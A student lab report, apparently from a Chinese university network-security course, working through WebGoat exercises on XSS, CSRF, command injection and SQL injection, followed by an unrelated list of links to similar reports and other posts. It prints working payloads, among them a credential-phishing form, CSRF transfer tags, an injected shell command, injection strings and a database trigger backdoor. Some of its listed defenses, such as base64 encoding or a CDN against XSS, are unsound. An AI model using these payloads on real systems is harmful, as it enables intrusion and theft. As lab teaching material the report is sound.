20155330 《网络对抗》 Exp9 web安全基础实践
20155330 《网络对抗》 Exp9 web安全基础实践
实验问题回答
- SQL注入攻击原理,如何防御
- 原理:SQL注入攻击值得是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一下组合,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。
- 防御方法:
- 采用sql语句预编译和绑定变量
- 采用字符串拼接的方式,严格检查参数的数据类型
- base64编码
- 控制用户的权限,以及做好数据库本身的安全工作
- XSS攻击的原理,如何防御
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
- 防御方法:
- 输入检查:检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。
- 搭建CDN,隐藏服务器真实IP
- 在表单提交或url参数传递前,对需要的参数进行过滤
- CSRF攻击原理,如何防御
- 原理:通过伪装来自受信任用户的请求来利用受信任的网站。依靠用户标识危害网站;利用网站对用户标识的信任;欺骗用户的浏览器发送HTTP请求给目标站点;还可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击。
- 防御方法:
- 验证 HTTP Referer 字段
- 在请求地址中添加 token 并验证
- 在 HTTP 头中自定义属性并验证
- 对于用户修改删除等操作使用 post 操作
实验总结与体会
这次实验做的多是关于Web安全的练习,练习内容比较丰富,主要是SQL注入、CSRF攻击、XSS攻击三个部分的内容。通过学习实践对web开发常见的安全问题有了一定的了解。
实践过程记录
WebGoat
- 终端输入
java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat。
- 直到出现下图所示内容:
- 在浏览器地址栏输入
localhost:8080/WebGoat
打开WebGoat,选择默认账号、密码登陆。
XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
- 编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
- 在webgoat找到
Cross-Site Scripting(XSS)
,打开Phishing with XSS
- 将代码输入到框中,点击
search
出现登录框:
- 输入用户名20155330,密码。
- 点击登录后跳出包含用户名和密码的弹框:
2、Stored XSS Attacks 存储型XSS攻击
- 打开
Stored XSS Attacks
,在Message
框中输入<script>alert("I am 20155330");</script>
提交
- 点击提交后弹出显示
I am 20155330
的对话框。攻击成功!
3、Reflected XSS Attacks 反射型XSS攻击
- 在code框中输入
<script>alert("I am 20155330");</script>
- 点击
Purchase
出现显示I am 20155330
的对话框。攻击成功!
CSRF攻击
4、Cross Site Request Forgery(CSRF)
- 查看
Parameters
中的src
和menu
的值。
- 在Title中输入学号,Message中输入代码
<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
- 提交后生成链接。
- 点击链接查看用户操作的信息,攻击成功。
5、CSRF Prompt By-Pass
- 查看
Parameters
中的src
和menu
的值。在Title中输入学号,Message中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 提交代码生成链接。
- 点击链接查看用户操作的信息,攻击成功。
SQL注入攻击
6、Command Injection
- 使用Firefox浏览器中的Firebug功能对源代码进行修改。在
BackDoors.help
旁边加上"& netstat -an & ipconfig"
:
- 在下拉菜单中能看到修改后的值
- 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况
7、Numeric SQL Injection
- 选中Columbia,点Go,看到该城市的天气信息。
- 利用firebug,在任意一个值如
101
旁边加上or 1=1
:
- 选中Columbia,点Go,可以看到所有天气数据:
8、Log Spoofing
- 在
User Name
文本框中输入zy%0d%0aLogin Succeeded for username: admin
(%0d
是回车,%0a
是换行符),点击登录,攻击成功。
9、String SQL Injection
- 在文本框中输入
' or 1='1
。点Go
,所有用户信息被显示,攻击成功。
10、LAB:SQL Injection(Stage 1:String SQL Injection)
- 以用户Neville登录,在密码栏中输入
' or 1='1
进行SQL注入,注入前需对密码文本框的字符长度进行修改。
- 登录成功。
11、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
- 根据
Stage1
中的登录方法以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile
。利用Firebug将ViewProfile
的value
值改为101 or 1=1 order by salary desc --
。
- 查看到老板信息。
12、Database Backdoors
- 输入101得到用户信息。
- 输入注入语句:
101; update employee set salary=10000
,把该用户的工资涨到10000:
- 使用语句
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155330@163.com' WHERE userid = NEW.userid
创建一个后门,把表中所有的邮箱和用户ID都设为
13、Blind Numeric SQL Injection
- 输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin数值是否大于10000
- 经过不断尝试,慢慢缩小范围,最终可以确定pin的值在2300到2400之间。然后再尝试2300到2350或2350到2400,最后确定pin值为2364。
20155330 《网络对抗》 Exp9 web安全基础实践的更多相关文章
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155305《网络对抗》Web安全基础实践
20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155307《网络对抗》Web安全基础实践
20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155311《网络对抗》Web安全基础实践
20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155338《网络对抗》Web安全基础实践
20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...
- 20145216史婧瑶《网络对抗》Web安全基础实践
20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...
随机推荐
- TreeView失去焦点时亮显选中状态
Windows Form下设置属性即可. TreeView.HideSelection = false
- 基于docker搭建jumpserver堡垒机
一.环境信息 1.jumpserver 192.168.137.129 CentOS6.4 kernel版本为 3.10.5-3.el6.x86_64 2.客户机 dev01-04 3.docke ...
- JavaScript语法详解:运算符和表达式
本文首发于博客园,并在GitHub上持续更新前端的系列文章.欢迎在GitHub上关注我,一起入门和进阶前端. 以下是正文. 我们在上一篇文章里讲到了JS中变量的概念,本篇文章讲一下运算符和表达式. 比 ...
- LeetCode题解之Sort List
1.题目描述 2.问题分析 使用sort算法 3.代码 ListNode* sortList(ListNode* head) { if( head == NULL || head->next = ...
- python 进程池pool
进程池子 当你成千上万的业务需要创建成千上万的进程时,我们可以提前定义一个进程池 from multiprocessing import Pool p = Pool(10) #进程池创建方式,类似空任 ...
- python Pipe 双管道通信
管道:是python多进程中一种交换数据的方式 from multiprocessing import Process,current_process,Queue,Pipe import time i ...
- C# Excel操作类 ExcelHelper
实现C#与Excel文件的交互操作,实现以下功能: 1.DataTable 导出到 Excel文件 2.Model数据实体导出到 Excel文件[List<Model>] 3.导出数据到模 ...
- plupload 大文件分片上传与PHP分片合并探索
最近老大分给我了做一个电影cms系统,其中涉及到一个功能,使用七牛云的文件上传功能.七牛javascript skd,使用起来很方便,屏蔽了许多的技术细节.如果只满足与调用sdk,那么可能工作中也就没 ...
- SQL一字段内的字符串按照特定字符串转化为多行显示
有如下数据表 需求就是将Col1,Col2按照特定的字符串分割成多行 一.利用XML解析方式 先将该字段值统一替换为逗号分割,再将逗号分割替换转为XML数据类型,再利用xml转为多个行 declare ...
- 阿里八八Alpha阶段Scrum(11/12)
今日进度 叶文滔: 合并日程界面debug成功,但是目前出现了新的问题,日程界面一些控件无法适配屏幕,正在排查问题 李嘉群: 尝试用okhttp的方式发送请求 王国超: 今天开始进行recycerli ...